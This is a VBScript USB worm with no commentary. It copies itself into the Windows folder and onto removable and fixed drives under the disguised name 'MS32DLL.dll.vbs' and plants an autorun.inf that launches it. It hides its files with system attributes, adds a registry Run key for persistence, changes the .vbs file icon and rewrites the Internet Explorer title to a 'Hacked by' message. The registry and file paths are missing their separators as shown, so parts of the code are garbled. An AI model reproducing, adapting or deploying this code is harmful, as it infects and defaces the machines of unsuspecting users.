on error resume next

dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd

atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"

set fs = createobject("Scripting.FileSystemObject")

set mf = fs.getfile(Wscript.ScriptFullname)

dim text,size

size = mf.size

check = mf.drive.drivetype

set text=mf.openastextstream(1,-2)

do while not text.atendofstream

mysource=mysource&text.readline

mysource=mysource & vbcrlf

loop

do

Set winpath = fs.getspecialfolder(0)

set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")

tf.attributes = 32

set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)

tf.write mysource

tf.close

set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")

tf.attributes = 39

for each flashdrive in fs.drives

If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")

tf.attributes =32

set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)

tf.write mysource

tf.close

set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")

tf.attributes =39

set tf =fs.getfile(flashdrive.path &"autorun.inf")

tf.attributes = 32

set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)

tf.write atr

tf.close

set tf =fs.getfile(flashdrive.path &"autorun.inf")

tf.attributes=39

end if

next

set rg = createobject("WScript.Shell")

rg.regwrite "HKEY\_LOCAL\_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"

rg.regwrite "HKEY\_CURRENT\_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by batex nst"

rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"

if check <> 1 then

Wscript.sleep 200000

end if

loop while check<>1

set sd = createobject("Wscript.shell")

sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname